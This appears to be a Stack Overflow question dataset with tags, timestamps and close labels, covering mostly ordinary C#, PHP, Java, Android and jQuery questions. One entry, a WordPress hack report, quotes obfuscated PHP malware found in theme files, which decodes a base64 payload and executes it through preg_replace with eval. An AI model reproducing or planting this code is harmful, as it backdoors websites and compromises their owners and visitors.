So I am dealing with some hard core Legacy code here. We are talking .NET 2.0. My problem is that my program when run is spitting out an exception with the information saying No Data found for Standard XML. I am using the class XMLTextWriter. As this is for work I cannot paste a lot of the code however below is a bit of it. I am wondering what in the world is causing this error. Any help would be much appreciated. string sStdFile=folder + sNewDtTm + "_s.xml"; // Create a new XmlTextWriter instance if(dt.Rows.Count>0) { XmlTextWriter writer = new XmlTextWriter(sStdFile, Encoding.UTF8); // start writing! writer.WriteStartDocument(); writer.WriteStartElement("secret"); foreach(DataRow dr in dt.Rows) { writer.WriteStartElement("secret"); writer.WriteElementString(sFieldNames[0], dr[sFieldNames[0]].ToString()); writer.WriteElementString(sFieldNames[1], dr[sFieldNames[1]].ToString()); writer.WriteElementString(sFieldNames[2], dr[sFieldNames[2]].ToString()); writer.WriteElementString(sFieldNames[3], dr[sFieldNames[3]].ToString()); writer.WriteElementString(sFieldNames[4], dr[sFieldNames[4]].ToString()); writer.WriteElementString(sFieldNames[5], dr[sFieldNames[5]].ToString()); writer.WriteElementString(sFieldNames[6], dr[sFieldNames[6]].ToString()); writer.WriteElementString(sFieldNames[7], dr[sFieldNames[7]].ToString()); writer.WriteElementString(sFieldNames[8], dr[sFieldNames[8]].ToString()); writer.WriteElementString(sFieldNames[9], dr[sFieldNames[9]].ToString()); writer.WriteElementString(sFieldNames[10], dr[sFieldNames[10]].ToString()); writer.WriteElementString(sFieldNames[11], dr[sFieldNames[11]].ToString()); writer.WriteElementString(sFieldNames[12], dr[sFieldNames[12]].ToString()); writer.WriteRaw("<" + sFieldNames[13] + ">"); writer.WriteCData(dr[sFieldNames[13]].ToString()); writer.WriteRaw("</" + sFieldNames[13] + ">");
c#
exception
error-handling
xmltextwriter
null
null
open
XMLTextWriter C# and no data found for standard xml === So I am dealing with some hard core Legacy code here. We are talking .NET 2.0. My problem is that my program when run is spitting out an exception with the information saying No Data found for Standard XML. I am using the class XMLTextWriter. As this is for work I cannot paste a lot of the code however below is a bit of it. I am wondering what in the world is causing this error. Any help would be much appreciated. string sStdFile=folder + sNewDtTm + "_s.xml"; // Create a new XmlTextWriter instance if(dt.Rows.Count>0) { XmlTextWriter writer = new XmlTextWriter(sStdFile, Encoding.UTF8); // start writing! writer.WriteStartDocument(); writer.WriteStartElement("secret"); foreach(DataRow dr in dt.Rows) { writer.WriteStartElement("secret"); writer.WriteElementString(sFieldNames[0], dr[sFieldNames[0]].ToString()); writer.WriteElementString(sFieldNames[1], dr[sFieldNames[1]].ToString()); writer.WriteElementString(sFieldNames[2], dr[sFieldNames[2]].ToString()); writer.WriteElementString(sFieldNames[3], dr[sFieldNames[3]].ToString()); writer.WriteElementString(sFieldNames[4], dr[sFieldNames[4]].ToString()); writer.WriteElementString(sFieldNames[5], dr[sFieldNames[5]].ToString()); writer.WriteElementString(sFieldNames[6], dr[sFieldNames[6]].ToString()); writer.WriteElementString(sFieldNames[7], dr[sFieldNames[7]].ToString()); writer.WriteElementString(sFieldNames[8], dr[sFieldNames[8]].ToString()); writer.WriteElementString(sFieldNames[9], dr[sFieldNames[9]].ToString()); writer.WriteElementString(sFieldNames[10], dr[sFieldNames[10]].ToString()); writer.WriteElementString(sFieldNames[11], dr[sFieldNames[11]].ToString()); writer.WriteElementString(sFieldNames[12], dr[sFieldNames[12]].ToString()); writer.WriteRaw("<" + sFieldNames[13] + ">"); writer.WriteCData(dr[sFieldNames[13]].ToString()); writer.WriteRaw("</" + sFieldNames[13] + ">");
0
133,571
09/25/2008 14:12:16
20,907
09/23/2008 05:27:24
16
0
How to convert multiple <br/> tag to a single <br/> tag in php
Wanted to convert <br/> <br/> <br/> <br/> <br/> into <br/>
php
null
null
null
null
null
open
How to convert multiple <br/> tag to a single <br/> tag in php === Wanted to convert <br/> <br/> <br/> <br/> <br/> into <br/>
0
3,997,434
10/22/2010 13:50:14
484,269
10/22/2010 13:50:14
1
0
Web OS final year project
i m a final year student and planning for my project. i have given my thought on devoloping a web operating system using HTML,JS,CSS with linux support. Do provide me some suggation and tutorial or sourcecodes(if any) thank u.
php
javascript
web
final
webos
10/22/2010 14:06:02
not a real question
Web OS final year project === i m a final year student and planning for my project. i have given my thought on devoloping a web operating system using HTML,JS,CSS with linux support. Do provide me some suggation and tutorial or sourcecodes(if any) thank u.
1
3,499,948
08/17/2010 06:47:38
77,004
11/22/2008 10:24:45
545
21
Is data copied when selecting into a temp table?
I am wondering, when selecting rows and inserting them into a temp table, is the data actually copied or just referenced? For example: SELECT * INTO #Temp FROM SomeTable If the table is very large, is this going to be a costly operation? From my tests it seems to execute about as fast as a simple SELECT, but I'd like a better insight about how it actually works. Cheers.
sql-server
null
null
null
null
null
open
Is data copied when selecting into a temp table? === I am wondering, when selecting rows and inserting them into a temp table, is the data actually copied or just referenced? For example: SELECT * INTO #Temp FROM SomeTable If the table is very large, is this going to be a costly operation? From my tests it seems to execute about as fast as a simple SELECT, but I'd like a better insight about how it actually works. Cheers.
0
10,107,413
04/11/2012 13:56:10
1,253,037
03/06/2012 19:02:52
16
0
Build errors in JDK 1.5 but not in 1.6 for Connection interface
I have my class implementing the Connection interface, http://docs.oracle.com/javase/6/docs/api/java/sql/Connection.html I was not getting any build errors when I was testing it in one of my local machine, which is having JDK 1.6 version. But on deploying the same to another remote machine which is having JDK 1.5 version, its throwing 16 build errors saying "Cannot find symbol..." The errors are throwing for the methods starting from createClob as displayed in the documentation page. Actually, in 1.6 version, I didn't implement those methods and so it threw the error saying, "The methods must be implemented". And So I implemented it as follows, public Clob createClob() { return conn.createClob(); } But after building the same code in 1.5, its throwing, "Cannot find symbol..." build errors. Is it because of version problem? Is there a way to correct the errors in 1.5 version?
jdbc
null
null
null
null
null
open
Build errors in JDK 1.5 but not in 1.6 for Connection interface === I have my class implementing the Connection interface, http://docs.oracle.com/javase/6/docs/api/java/sql/Connection.html I was not getting any build errors when I was testing it in one of my local machine, which is having JDK 1.6 version. But on deploying the same to another remote machine which is having JDK 1.5 version, its throwing 16 build errors saying "Cannot find symbol..." The errors are throwing for the methods starting from createClob as displayed in the documentation page. Actually, in 1.6 version, I didn't implement those methods and so it threw the error saying, "The methods must be implemented". And So I implemented it as follows, public Clob createClob() { return conn.createClob(); } But after building the same code in 1.5, its throwing, "Cannot find symbol..." build errors. Is it because of version problem? Is there a way to correct the errors in 1.5 version?
0
9,955,749
03/31/2012 12:13:49
576,758
01/15/2011 14:12:54
1,746
50
Get Arrow in qTip
How can I add arrow in qTip. So far I have $('.jym').qtip( { content: 'Ok', style: { name: 'cream' , border: { width: 3, radius: 8, color: '#6699CC' } }, position: { corner: { target: 'leftMiddle', tooltip: 'rightMiddle' } } }); The generated tooltip is: ![enter image description here][1] But I need this:![enter image description here][2] I went through the documentation but didn't understand how to get this arrow. I really appreciate your help. [1]: http://i.stack.imgur.com/w77P3.png [2]: http://i.stack.imgur.com/DScKi.png
jquery
tooltip
qtip
arrow
null
null
open
Get Arrow in qTip === How can I add arrow in qTip. So far I have $('.jym').qtip( { content: 'Ok', style: { name: 'cream' , border: { width: 3, radius: 8, color: '#6699CC' } }, position: { corner: { target: 'leftMiddle', tooltip: 'rightMiddle' } } }); The generated tooltip is: ![enter image description here][1] But I need this:![enter image description here][2] I went through the documentation but didn't understand how to get this arrow. I really appreciate your help. [1]: http://i.stack.imgur.com/w77P3.png [2]: http://i.stack.imgur.com/DScKi.png
0
5,628,747
04/11/2011 23:31:44
656,147
03/11/2011 23:32:53
56
8
What's wrong with this code?
)Hi, I'm exporting a file in the sdcard, however, i'm facing a FileNotFound Exception (`04-12 01:26:18.494: DEBUG/Carburant(4568): /mnt/sdcard/Carburant/alaa.peugeot.settings.dat/alaa.peugeot.settings.dat (Is a directory)` )here is the code: try { File sdCard = Environment.getExternalStorageDirectory(); boolean mExternalStorageAvailable = false; boolean mExternalStorageWriteable = false; String state = Environment.getExternalStorageState(); if (Environment.MEDIA_MOUNTED.equals(state)) { // We can read and write the media Log.d("Carburant", "Sdcard can read/write !!" ); mExternalStorageAvailable = mExternalStorageWriteable = true; try{ final SharedPreferences preferences = PreferenceManager .getDefaultSharedPreferences(context); String fileName = context.getResources().getString(R.string.fileName); String fileDir = "" + preferences.getString("login", "") + "."+ preferences.getString("marque", "") + "."; File f2 = new File(context.getFilesDir(), fileDir+fileName); String y= f2.getAbsolutePath(); Log.d("HI Export",y); InputStream in = new FileInputStream(f2); File dir = new File (sdCard.getAbsolutePath() + "/Carburant/"); String x= dir.getAbsolutePath(); Log.d("HI",x); File file = new File(dir, fileDir+fileName); file.mkdirs(); OutputStream out = new FileOutputStream(file); byte[] buf = new byte[1024]; int len; while ((len = in.read(buf)) != -1){ out.write(buf, 0, len); } //out.flush(); in.close(); out.close(); Toast.makeText(context, "Export effectué", Toast.LENGTH_SHORT).show(); } catch(FileNotFoundException ex){ Toast.makeText(context, "File Not found", Toast.LENGTH_SHORT).show(); String x=ex.getMessage(); Log.d("Carburant", x); } catch(IOException e){ Toast.makeText(context, "Echec", Toast.LENGTH_SHORT).show(); } } //copyfile(nom,file.getAbsolutePath()); else if (Environment.MEDIA_MOUNTED_READ_ONLY.equals(state)) { // We can only read the media Log.d("Carburant", "Sdcard only read !!" ); mExternalStorageAvailable = true; mExternalStorageWriteable = false; } else { // Something else is wrong. It may be one of many other states, but all we need // to know is we can neither read nor write mExternalStorageAvailable = mExternalStorageWriteable = false; } } catch (Exception e) { Log.d("CARBURANT", e.getMessage()); } } Want to export a file from /data/data/<package name>/fileDir+fileName to a directory Carburant in the sdcard . Thank you for your help.
android
file-io
null
null
null
09/02/2011 20:12:23
too localized
What's wrong with this code? === )Hi, I'm exporting a file in the sdcard, however, i'm facing a FileNotFound Exception (`04-12 01:26:18.494: DEBUG/Carburant(4568): /mnt/sdcard/Carburant/alaa.peugeot.settings.dat/alaa.peugeot.settings.dat (Is a directory)` )here is the code: try { File sdCard = Environment.getExternalStorageDirectory(); boolean mExternalStorageAvailable = false; boolean mExternalStorageWriteable = false; String state = Environment.getExternalStorageState(); if (Environment.MEDIA_MOUNTED.equals(state)) { // We can read and write the media Log.d("Carburant", "Sdcard can read/write !!" ); mExternalStorageAvailable = mExternalStorageWriteable = true; try{ final SharedPreferences preferences = PreferenceManager .getDefaultSharedPreferences(context); String fileName = context.getResources().getString(R.string.fileName); String fileDir = "" + preferences.getString("login", "") + "."+ preferences.getString("marque", "") + "."; File f2 = new File(context.getFilesDir(), fileDir+fileName); String y= f2.getAbsolutePath(); Log.d("HI Export",y); InputStream in = new FileInputStream(f2); File dir = new File (sdCard.getAbsolutePath() + "/Carburant/"); String x= dir.getAbsolutePath(); Log.d("HI",x); File file = new File(dir, fileDir+fileName); file.mkdirs(); OutputStream out = new FileOutputStream(file); byte[] buf = new byte[1024]; int len; while ((len = in.read(buf)) != -1){ out.write(buf, 0, len); } //out.flush(); in.close(); out.close(); Toast.makeText(context, "Export effectué", Toast.LENGTH_SHORT).show(); } catch(FileNotFoundException ex){ Toast.makeText(context, "File Not found", Toast.LENGTH_SHORT).show(); String x=ex.getMessage(); Log.d("Carburant", x); } catch(IOException e){ Toast.makeText(context, "Echec", Toast.LENGTH_SHORT).show(); } } //copyfile(nom,file.getAbsolutePath()); else if (Environment.MEDIA_MOUNTED_READ_ONLY.equals(state)) { // We can only read the media Log.d("Carburant", "Sdcard only read !!" ); mExternalStorageAvailable = true; mExternalStorageWriteable = false; } else { // Something else is wrong. It may be one of many other states, but all we need // to know is we can neither read nor write mExternalStorageAvailable = mExternalStorageWriteable = false; } } catch (Exception e) { Log.d("CARBURANT", e.getMessage()); } } Want to export a file from /data/data/<package name>/fileDir+fileName to a directory Carburant in the sdcard . Thank you for your help.
3
8,368,645
12/03/2011 15:21:27
1,055,140
11/19/2011 09:36:35
1
0
What is the difference between the domain and machine in general
I need the main basic differences between the domain and machine.. thanks in advance..
domain
machine
null
null
null
12/04/2011 00:47:51
not a real question
What is the difference between the domain and machine in general === I need the main basic differences between the domain and machine.. thanks in advance..
1
6,882,697
07/30/2011 10:58:50
257,944
01/24/2010 19:55:00
329
13
Mono C# shell script execution not giving complete output
This is what I'm doing. public static void Main (string[] args) { ProcessStartInfo ps = new ProcessStartInfo(); ps.FileName = "iwlist"; ps.Arguments = "scanning"; string outp = WithOutputRedirect(ps); Console.Write(outp); } public static string WithOutputRedirect(System.Diagnostics.ProcessStartInfo processInfo) { string result = ""; processInfo.CreateNoWindow = true; processInfo.UseShellExecute = false; processInfo.RedirectStandardError = true; processInfo.RedirectStandardOutput = true; System.Diagnostics.Process p = System.Diagnostics.Process.Start(processInfo); p.ErrorDataReceived += delegate(object o, System.Diagnostics.DataReceivedEventArgs e) { if (e.Data != null && e.Data != "") { result += e.Data + "\r\n"; } }; p.BeginErrorReadLine(); p.OutputDataReceived += delegate(object o, System.Diagnostics.DataReceivedEventArgs e) { if (e.Data != null && e.Data != "") { result += e.Data + "\r\n"; } }; p.BeginOutputReadLine(); p.WaitForExit(); return result; } I have about 15 APs around. So it should get a list of them. But most of the time I run the script, the output stops after the first AP. But strangely sometime it shows all of them. What am I doing wrong?
c#
shell
mono
null
null
null
open
Mono C# shell script execution not giving complete output === This is what I'm doing. public static void Main (string[] args) { ProcessStartInfo ps = new ProcessStartInfo(); ps.FileName = "iwlist"; ps.Arguments = "scanning"; string outp = WithOutputRedirect(ps); Console.Write(outp); } public static string WithOutputRedirect(System.Diagnostics.ProcessStartInfo processInfo) { string result = ""; processInfo.CreateNoWindow = true; processInfo.UseShellExecute = false; processInfo.RedirectStandardError = true; processInfo.RedirectStandardOutput = true; System.Diagnostics.Process p = System.Diagnostics.Process.Start(processInfo); p.ErrorDataReceived += delegate(object o, System.Diagnostics.DataReceivedEventArgs e) { if (e.Data != null && e.Data != "") { result += e.Data + "\r\n"; } }; p.BeginErrorReadLine(); p.OutputDataReceived += delegate(object o, System.Diagnostics.DataReceivedEventArgs e) { if (e.Data != null && e.Data != "") { result += e.Data + "\r\n"; } }; p.BeginOutputReadLine(); p.WaitForExit(); return result; } I have about 15 APs around. So it should get a list of them. But most of the time I run the script, the output stops after the first AP. But strangely sometime it shows all of them. What am I doing wrong?
0
3,756,582
09/21/2010 00:52:04
93,781
04/21/2009 13:07:26
1,223
72
Security violation in c:\ProgramData?
I am working on a SQL Compact demo app, and one of the things I my setup project does is copy an SDF file to the user's `c:\ProgramData` folder. However, when the app is run on the user's machine, I get the following error: System.Data.EntityException: The underlying provider failed on Open. ---> System.Data.SqlServerCeException: Access to the database file is not allowed. [File name = c:\ProgramData\Foresight Systems\SQL Compact Demo\LocalData.sdf] I am puzzled as to what's causing this error. Isn't `c:\ProgramData` the preferred location for this sort of file? What do I need to do in my setup project to get this to work? Thanks for your help.
sql-server-ce
null
null
null
null
null
open
Security violation in c:\ProgramData? === I am working on a SQL Compact demo app, and one of the things I my setup project does is copy an SDF file to the user's `c:\ProgramData` folder. However, when the app is run on the user's machine, I get the following error: System.Data.EntityException: The underlying provider failed on Open. ---> System.Data.SqlServerCeException: Access to the database file is not allowed. [File name = c:\ProgramData\Foresight Systems\SQL Compact Demo\LocalData.sdf] I am puzzled as to what's causing this error. Isn't `c:\ProgramData` the preferred location for this sort of file? What do I need to do in my setup project to get this to work? Thanks for your help.
0
3,374,143
07/30/2010 17:53:41
4,906
09/06/2008 14:21:25
2,361
53
Anyone having (or solved) these problems with Windows 7 Virtual PC (Recording sound, Drag 'n Drop, etc.)
Windows Virtual PC problems: 1. There is no "Shared Folders" option to allow us to access folders on the Host machine within the Client machine using drive letters (E:\ etc.). We have several programs that I need to test and I need to access files on the E:\ drive, etc. Note that the Host folders that you see "D on <host name>" is not what I need. I need access via a drive letter. I've tried mapping a network drive and access that way is incredibly slow. 2. **Microphone recording not enabled** (in the Client running Win XP, or 7, and probably Vista) **if Integration Features are enable**d. You can test this with Sound Recorder. It simply does not show the Record button if integration features are enabled. If I disable them then it appears 3. **Drag and Drop** (from Host to Client) does not work. And (IIRC) Copy and Paste works only to the Desktop of the client. 4. Integration Features do not work unless you log in (to the Client) using the same User Name and Password as an account on the Host machine. 5. Virtual PC does not remember the User Name and Password when logging into Win 7 (client) even when you have Logon Credentials saved. (In the Settings window). Any ideas? I've checked for newer versions of Virtual PC but all I can find are the old version (pre Win 7) and the Win 7 "XP Mode". I have Win 7 set to autoupdates so I assume if there were a newer version it would have gotten it.
windows-7
audio
virtual-pc
null
null
07/31/2010 21:08:18
off topic
Anyone having (or solved) these problems with Windows 7 Virtual PC (Recording sound, Drag 'n Drop, etc.) === Windows Virtual PC problems: 1. There is no "Shared Folders" option to allow us to access folders on the Host machine within the Client machine using drive letters (E:\ etc.). We have several programs that I need to test and I need to access files on the E:\ drive, etc. Note that the Host folders that you see "D on <host name>" is not what I need. I need access via a drive letter. I've tried mapping a network drive and access that way is incredibly slow. 2. **Microphone recording not enabled** (in the Client running Win XP, or 7, and probably Vista) **if Integration Features are enable**d. You can test this with Sound Recorder. It simply does not show the Record button if integration features are enabled. If I disable them then it appears 3. **Drag and Drop** (from Host to Client) does not work. And (IIRC) Copy and Paste works only to the Desktop of the client. 4. Integration Features do not work unless you log in (to the Client) using the same User Name and Password as an account on the Host machine. 5. Virtual PC does not remember the User Name and Password when logging into Win 7 (client) even when you have Logon Credentials saved. (In the Settings window). Any ideas? I've checked for newer versions of Virtual PC but all I can find are the old version (pre Win 7) and the Win 7 "XP Mode". I have Win 7 set to autoupdates so I assume if there were a newer version it would have gotten it.
2
10,200,428
04/17/2012 23:00:35
1,165,441
01/23/2012 17:10:47
16
4
iPhone Message button from a picture in an app?
I would like to implement a feature on my app that when a picture is clicked that it opens up a dialog similar to the dialog opened when you are on a specific picture and you click the icon at the bottom left of the screen. When that is clicked it gives you 7 buttons (Email Photo, Message, Assign to Contact, Use as Wallpaper, Tweet, Print, and Cancel). Would it be possible to do something similar in an app I am developing? I really would only want the functionality to message and email but mostly just messaging. thanks
iphone
ios
null
null
null
null
open
iPhone Message button from a picture in an app? === I would like to implement a feature on my app that when a picture is clicked that it opens up a dialog similar to the dialog opened when you are on a specific picture and you click the icon at the bottom left of the screen. When that is clicked it gives you 7 buttons (Email Photo, Message, Assign to Contact, Use as Wallpaper, Tweet, Print, and Cancel). Would it be possible to do something similar in an app I am developing? I really would only want the functionality to message and email but mostly just messaging. thanks
0
8,954,232
01/21/2012 15:38:03
1,385,911
05/10/2012 00:43:12
1
0
wordpress hacked - New code - 21/01/2012
I got this code on a updated wordpress site. Wordpress 3.3.1, and all plugins up to date. Plugin list: custom-contact-forms google-maps-for-wordpress seo-ultimate Some theme files affected where CHMOD 644, Every time that I let a file with CHMOD 777 this start, but it will not affect only 777 files, it also affect 644 files The code is as follow: <?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn1XULdmbqZVUzElNmNTVGxEeNt1ZzkFcmJyJuUTNyZGJuciLxk2cwRCLiICKuVHdlJHJn4SNykmckRiLnsTKn4iInIiLnAkdX5Uc2dlTshEcMhHT8xFeMx2T4xjWkNTUwVGNdVzWvV1Wc9WT2wlbqZVX3lEclhTTKdWf8oEZzkVNdp2NwZGNVtVX8dmRPF3N1U2cVZDX4lVcdlWWKd2aZBnZtVFfNJ3N1U2cVZDX4lVcdlWWKd2aZBnZtVkVTpGTXB1JuITNyZGJuIyJi4SN1InZk4yJukyJuIyJi4yJ64GfNpjbWBVdId0T7NjVQJHVwV2aNZzWzQjSMhXTbd2MZBnZxpHfNFnasVWevp0ZthjWnBHPZ11MJpVX8FlSMxDRWB1JuITNyZGJuIyJi4SN1InZk4yJukyJuIyJi4yJAZ3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GbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9";$eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";$eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?> Any help to understand how to prevent this or to what the code does is appriciated
security
wordpress
hacking
null
null
01/22/2012 19:30:30
off topic
wordpress hacked - New code - 21/01/2012 === I got this code on a updated wordpress site. Wordpress 3.3.1, and all plugins up to date. Plugin list: custom-contact-forms google-maps-for-wordpress seo-ultimate Some theme files affected where CHMOD 644, Every time that I let a file with CHMOD 777 this start, but it will not affect only 777 files, it also affect 644 files The code is as follow: <?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn1XULdmbqZVUzElNmNTVGxEeNt1ZzkFcmJyJuUTNyZGJuciLxk2cwRCLiICKuVHdlJHJn4SNykmckRiLnsTKn4iInIiLnAkdX5Uc2dlTshEcMhHT8xFeMx2T4xjWkNTUwVGNdVzWvV1Wc9WT2wlbqZVX3lEclhTTKdWf8oEZzkVNdp2NwZGNVtVX8dmRPF3N1U2cVZDX4lVcdlWWKd2aZBnZtVFfNJ3N1U2cVZDX4lVcdlWWKd2aZBnZtVkVTpGTXB1JuITNyZGJuIyJi4SN1InZk4yJukyJuIyJi4yJ64GfNpjbWBVdId0T7NjVQJHVwV2aNZzWzQj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XSlhhbGRGVnNGbWRsUkNLdUpFVGpkVVNKOVVXeHRXU0MxVVJYeFdZMlZHSTlBQ2FqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9";$eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";$eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?> Any help to understand how to prevent this or to what the code does is appriciated
2
10,839,330
05/31/2012 18:39:19
1,334,569
04/15/2012 13:32:38
50
0
Windows Forms Accept Button is not working
I am currently working on my homework which is a calculator in windows form and I am facing the problem that I have set the form accept button is equal button but by pressing the enter, backspace button is working and backspace button has background image and when I run my app then backspace button is highlighted or focused. Why its happening?
c#
winforms
null
null
null
05/31/2012 21:39:23
not a real question
Windows Forms Accept Button is not working === I am currently working on my homework which is a calculator in windows form and I am facing the problem that I have set the form accept button is equal button but by pressing the enter, backspace button is working and backspace button has background image and when I run my app then backspace button is highlighted or focused. Why its happening?
1
9,885,974
03/27/2012 08:37:54
1,210,637
02/15/2012 06:41:17
12
0
Image map in html
I am trying to add wowslider script for sliding couple of images by using (wowslider software). Software generates wowslider.js,jquery.js ,script.js and one css file style.css. Everything is working fine in generated script but when I try to add an image map on particular area of image portion then image map not works.when we remove wowslider.js file then it work fine.Here is line of code. <script type="text/javascript" src="engine1/wowslider.js"></script> <span><img src="data1/images/home_slide001.jpg" alt="IBMGrady_Slide002" title="IBMGrady_Slide002" usemap="#img_slider"/></span> <map name="img_slider"> <area shape="rect" coords="564,283,792,376" alt="download" href="download.html"/></map> Thanks
jquery
html
css
imagemap
null
03/30/2012 01:42:44
not a real question
Image map in html === I am trying to add wowslider script for sliding couple of images by using (wowslider software). Software generates wowslider.js,jquery.js ,script.js and one css file style.css. Everything is working fine in generated script but when I try to add an image map on particular area of image portion then image map not works.when we remove wowslider.js file then it work fine.Here is line of code. <script type="text/javascript" src="engine1/wowslider.js"></script> <span><img src="data1/images/home_slide001.jpg" alt="IBMGrady_Slide002" title="IBMGrady_Slide002" usemap="#img_slider"/></span> <map name="img_slider"> <area shape="rect" coords="564,283,792,376" alt="download" href="download.html"/></map> Thanks
1
8,563,219
12/19/2011 15:05:02
528,590
12/02/2010 21:07:55
744
9
OpenGL - how difficult is it to learn OpenGL ES 2.0 compared to 1.1?
I'm looking into learning OpenGL ES for making a little graphics engine in Android (and possibly iOS). I've only done a little in OpenGL before on Desktop. I'm not sure whether I should learn OpenGL ES 2.0 or 1.1. When it comes to difficulty, is there a big difference between the two? I know there's a few topics out there about the subject, pros and cons between the versions, but I am **only** looking for input on the difficulty between the two versions. Thanks
android
ios
opengl
opengl-es
null
12/19/2011 16:56:57
not constructive
OpenGL - how difficult is it to learn OpenGL ES 2.0 compared to 1.1? === I'm looking into learning OpenGL ES for making a little graphics engine in Android (and possibly iOS). I've only done a little in OpenGL before on Desktop. I'm not sure whether I should learn OpenGL ES 2.0 or 1.1. When it comes to difficulty, is there a big difference between the two? I know there's a few topics out there about the subject, pros and cons between the versions, but I am **only** looking for input on the difficulty between the two versions. Thanks
4
7,237,892
08/30/2011 01:44:21
490,923
10/29/2010 05:44:45
57
4
Android 4.0 features
